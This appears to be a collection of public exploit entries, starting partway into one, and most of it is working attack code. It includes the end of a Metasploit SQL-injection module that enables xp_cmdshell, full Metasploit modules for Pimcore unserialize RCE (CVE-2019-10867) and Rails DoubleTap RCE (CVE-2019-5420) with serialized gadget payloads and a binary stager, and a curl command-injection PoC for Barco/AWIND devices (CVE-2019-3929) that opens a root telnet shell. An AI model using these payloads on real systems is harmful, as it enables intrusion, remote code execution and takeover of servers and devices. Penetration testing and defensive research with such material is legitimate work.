    return create_login_msg("#{rand(1_000..9_999)}'; #{sql_cmd}--")
  end

  # create a plain login message
  def create_login_msg(pw)
    delim = "\xFF"
    login_str = "#{delim}000000#{delim}20180810213226#{delim}01#{delim}60"\
                "#{delim}02#{delim}1111#{delim}#{pw}#{delim}AAAAA#{delim}120"

  end

  def check
    int = rand(1..1_000)
    response_bypass = send_login_msg(create_login_msg("#{rand(1_000..9_999)}' OR #{int}=#{int}--"), false)
    if response_bypass.include? 'Zugangsdaten OK'
      CheckCode::Vulnerable
    else
      print_status("Response was: #{response_bypass}")
      CheckCode::Safe
    end
  end

  def exploit
    # enable xp cmdshell, used to execute commands later
    # Software uses the 'sa' user by default
    send_login_msg(create_login_msg_sql(mssql_xpcmdshell_enable))
    # The porotocol has no limites on max-data
    execute_cmdstager({ :linemax => 1500 })
    print_warning('The payload is left on the client in the \%TEMP\% Folder of the corresponding user.')
    print_status('Stager should now be executed.')
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Pimcore Unserialize RCE",
      'Description' => %q(
        This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
        execute arbitrary code. An authenticated user with "classes" permission
        could exploit the vulnerability.

        The vulnerability exists in the "ClassController.php" class, where the
        "bulk-commit" method makes it possible to exploit the unserialize function
        when passing untrusted values in "data" parameter.

        Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
        unserialize payload.

        Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Daniele Scanu', # Discovery & PoC
          'Fabio Cogno' # Metasploit module
        ],
      'References' =>
        [
          ['CVE', '2019-10867'],
          ['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73'],
          ['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['Pimcore 5.x (Symfony unserialize payload)', 'type' => :symfony],
          ['Pimcore 4.x (Zend unserialize payload)', 'type' => :zend]
        ],
      'Payload' => {
        'Space' => 8000,
        'DisableNops' => true
      },
      'Privileged' => false,
      'DisclosureDate' => "Mar 11 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
      ]
    )
  end

  def login
    # Try to login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login', 'login'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 302 && res.headers['Location'] =~ /\/admin\/\?_dc=/
      print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

      # Grabbing CSRF token and PHPSESSID cookie
      return grab_csrftoken(res)
    end

    if res.code == 302 && res.headers['Location'] =~ /auth_failed=true/
      fail_with(Failure::NoAccess, 'Invalid credentials')
    end

    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
  end

  def grab_csrftoken(auth_res)
    uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'cookie' => auth_res.get_cookies
    )

    if res && res.code == 200
      # Pimcore 5.x
      unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
        @pimcore_cookies << " pimcore_admin_sid=1;"

        # Version
        version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
        build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
        print_version(version, build)
        return assign_target(version)
      end

      # Pimcore 4.x
      unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies

        # Version
        version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
        build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
        print_version(version, build)
        return assign_target(version)
      end

      # Version different from 4.x or 5.x
      return nil
    else
      fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
    end
  end

  def print_version(version, build)
    print_status("Pimcore version: #{version}")
    print_status("Pimcore build: #{build}")
  end

  def assign_target(version)
    if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
      print_good("The target is vulnerable!")
      return targets[0]
    elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
      print_good("The target is vulnerable!")
      return targets[1]
    else
      print_error("The target is NOT vulnerable!")
      return nil
    end
  end

  def upload
    # JSON file payload
    fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}"
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")

    # send JSON file payload to bulk-import function
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'class', 'bulk-import'),
      'vars_get' => { 'csrfToken' => @csrf_token },
      'cookie' => @pimcore_cookies,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 200
      json = res.get_json_document
      if json['success'] == true
        print_good("JSON payload uploaded successfully: #{json['filename']}")
        return json['filename']
      else
        print_warning('Could not determine JSON payload file upload')
        return nil
      end
    end
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login')
    )

    unless res
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # Try to log in, grab csrfToken and select target
    my_target = login
    if my_target.nil?
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    # Try to upload JSON payload file
    fname = upload

    unless fname.nil?
      # Register uploaded JSON payload file for cleanup
      register_files_for_cleanup(fname)
    end

    print_status("Selected payload: #{my_target.name}")

    case my_target['type']
    when :symfony
      # The payload to execute
      spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"

      # The Symfony object payload
      serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{"
      serialize << "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";"
      serialize << "s:9:\"proc_open\";"
      serialize << "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}"
      serialize << "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";"
      serialize << "s:#{spayload.length}:\"#{spayload}\";}"
    when :zend
      # The payload to execute
      spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"

      # The Zend1 object payload
      serialize = "a:2:{i:7;O:8:\"Zend_Log\":1:{s:11:\"\x00*\x00_writers\";a:1:{"
      serialize << "i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\x00*\00_eventsToMail\";a:1:{"
      serialize << "i:0;i:1;}s:22:\"\x00*\x00_layoutEventsToMail\";a:0:{}s:8:\"\00*\x00_mail\";"
      serialize << "O:9:\"Zend_Mail\":0:{}s:10:\"\x00*\x00_layout\";O:11:\"Zend_Layout\":3:{"
      serialize << "s:13:\"\x00*\x00_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{"
      serialize << "s:16:\"\x00*\x00_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\x00*\x00_replacement\";"
      serialize << "S:#{spayload.length}:\"#{spayload}\";}"
      serialize << "s:20:\"\x00*\x00_inflectorEnabled\";b:1;s:10:\"\x00*\x00_layout\";"
      serialize << "s:6:\"layout\";}s:22:\"\x00*\x00_subjectPrependText\";N;}}};i:7;i:7;}"
    end

    # send serialized payload
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'admin', 'class', 'bulk-commit'),
        'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
        'cookie' => @pimcore_cookies,
        'vars_post' => {
          'filename' => fname,
          'data' => JSON.generate(
            'type' => 'customlayout',
            'name' => serialize
          )
        },
        'headers' => {
          'X-pimcore-csrf-token' => @csrf_token
        }
      }, 30
    )
  end
end
            
##
# Exploit Title: Barco/AWIND OEM Presentation Platform Unauthenticated Remote Command Injection 
# Date: 05/01/2019
# Exploit Author: Jacob Baines
# Tested on: Crestron AM-100 1.6.0.2
# CVE : CVE-2019-3929
# PoC Video: https://www.youtube.com/watch?v=q-PIjnPcu2k
# Advisory: https://www.tenable.com/security/research/tra-2019-20
# Writeup: https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c
# Affected Vendors/Device/Firmware:
#  - Crestron AM-100 1.6.0.2
#  - Crestron AM-101 2.7.0.1
#  - Barco wePresent WiPG-1000P 2.3.0.10
#  - Barco wePresent WiPG-1600W before 2.4.1.19
#  - Extron ShareLink 200/250 2.0.3.4
#  - Teq AV IT WIPS710 1.1.0.7
#  - InFocus LiteShow3 1.0.16
#  - InFocus LiteShow4 2.0.0.7
#  - Optoma WPS-Pro 1.0.0.5
#  - Blackbox HD WPS 1.0.0.5
#  - SHARP PN-L703WA 1.4.2.3
##

The following curl command executes the commands "/usr/sbin/telnetd -p 1271 -l /bin/sh" and "whoami" on the target device:

curl --header "Content-Type: application/x-www-form-urlencoded" \
--request POST \
--data "file_transfer=new&dir='Pa_Note/usr/sbin/telnetd -p 1271 -l /bin/shPa_Note'whoami" \
--insecure https://192.168.88.250/cgi-bin/file_transfer.cgi

Example:

albinolobster@ubuntu:~$ curl --header "Content-Type: application/x-www-form-urlencoded" --request POST --data "file_transfer=new&dir='Pa_Note/usr/sbin/telnetd -p 1271 -l /bin/shPa_Note'whoami" --insecure https://192.168.88.250/cgi-bin/file_transfer.cgi
root
albinolobster@ubuntu:~$ telnet 192.168.88.250 1271
Trying 192.168.88.250...
Connected to 192.168.88.250.
Escape character is '^]'.

~/boa/cgi-bin #
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
        application would use its name as the secret_key_base, and can be easily extracted by
        visiting an invalid resource for a path. As a result, this allows a remote user to
        create and deliver a signed serialized payload, load it by the application, and gain
        remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ooooooo_q', # Reported the vuln on hackerone
          'mpgn',      # Proof-of-Concept
          'sinn3r'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-5420' ],
          [ 'URL', 'https://hackerone.com/reports/473888' ],
          [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
          [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Ruby on Rails 5.2 and prior', { } ]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 3000
        },
      'Notes'          =>
        {
          'AKA'         => [ 'doubletap' ],
          'Stability'   => [ CRASH_SAFE  ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 13 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
      ])
  end

  NO_RAILS_ROOT_MSG = 'No Rails.root info'

  # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
  # still uses Rails 4, and we don't really know when we will be able to upgrade it.

  class Messages
    class Metadata
      def initialize(message, expires_at = nil, purpose = nil)
        @message, @expires_at, @purpose = message, expires_at, purpose
      end

      def as_json(options = {})
        { _rails: { message: @message, exp: @expires_at, pur: @purpose } }
      end

      def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
        if expires_at || expires_in || purpose
          ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)
        else
          message
        end
      end

      private

      def self.pick_expiry(expires_at, expires_in)
        if expires_at
          expires_at.utc.iso8601(3)
        elsif expires_in
          Time.now.utc.advance(seconds: expires_in).iso8601(3)
        end
      end

      def self.encode(message)
        Rex::Text::encode_base64(message)
      end
    end
  end

  class MessageVerifier
    def initialize(secret, options = {})
      raise ArgumentError, 'Secret should not be nil.' unless secret
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
      data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
      "#{data}--#{generate_digest(data)}"
    end

    private

    def generate_digest(data)
      require "openssl" unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

    def encode(message)
      Rex::Text::encode_base64(message)
    end
  end

  def check
    check_code = CheckCode::Safe
    app_name = get_application_name
    check_code = CheckCode::Appears unless app_name.blank?
    test_payload = %Q|puts 1|
    rails_payload = generate_rails_payload(app_name, test_payload)
    result = send_serialized_payload(rails_payload)
    check_code = CheckCode::Vulnerable if result
    check_code
  rescue Msf::Exploit::Failed => e
    vprint_error(e.message)
    return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG
    CheckCode::Unknown
  end

  # Returns information about Rails.root if we retrieve an invalid path under rails.
  def get_rails_root_info
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),
    })

    fail_with(Failure::Unknown, 'No response from the server') unless res
    html = res.get_html_document
    rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')
    fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
    root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
    report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)
    root_info_value
  end

  # Returns the application name based on Rails.root. It seems in development mode, the
  # application name is used as a secret_key_base to encrypt/decrypt data.
  def get_application_name
    root_info = get_rails_root_info
    root_info.split('/').last.capitalize
  end

  # Returns the stager code that writes the payload to disk so we can execute it.
  def get_stager_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)

    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end

  # Returns the serialized payload that is embedded with our malicious payload.
  def generate_rails_payload(app_name, ruby_payload)
    secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
    keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
    secret = keygen.generate_key('ActiveStorage')
    verifier = MessageVerifier.new(secret)
    erb = ERB.allocate
    erb.instance_variable_set :@src, ruby_payload
    erb.instance_variable_set :@filename, "1"
    erb.instance_variable_set :@lineno, 1
    dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
    verifier.generate(dump_target, purpose: :blob_key)
  end

  # Sending the serialized payload
  # If the payload fails, the server should return 404. If successful, then 200.
  def send_serialized_payload(rails_payload)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => "/rails/active_storage/disk/#{rails_payload}/test",
    })

    if res && res.code != 200
      print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
      print_error('The expected response should be HTTP 200.')

      # This indicates the server did not accept the payload
      return false
    end

    # This is used to indicate the server accepted the payload
    true
  end

  def exploit
    print_status("Attempting to retrieve the application name...")
    app_name = get_application_name
    print_status("The application name is: #{app_name}")

    stager = get_stager_code
    print_status("Stager ready: #{stager.length} bytes")

    rails_payload = generate_rails_payload(app_name, stager)
    print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")
    send_serialized_payload(rails_payload)
  end
end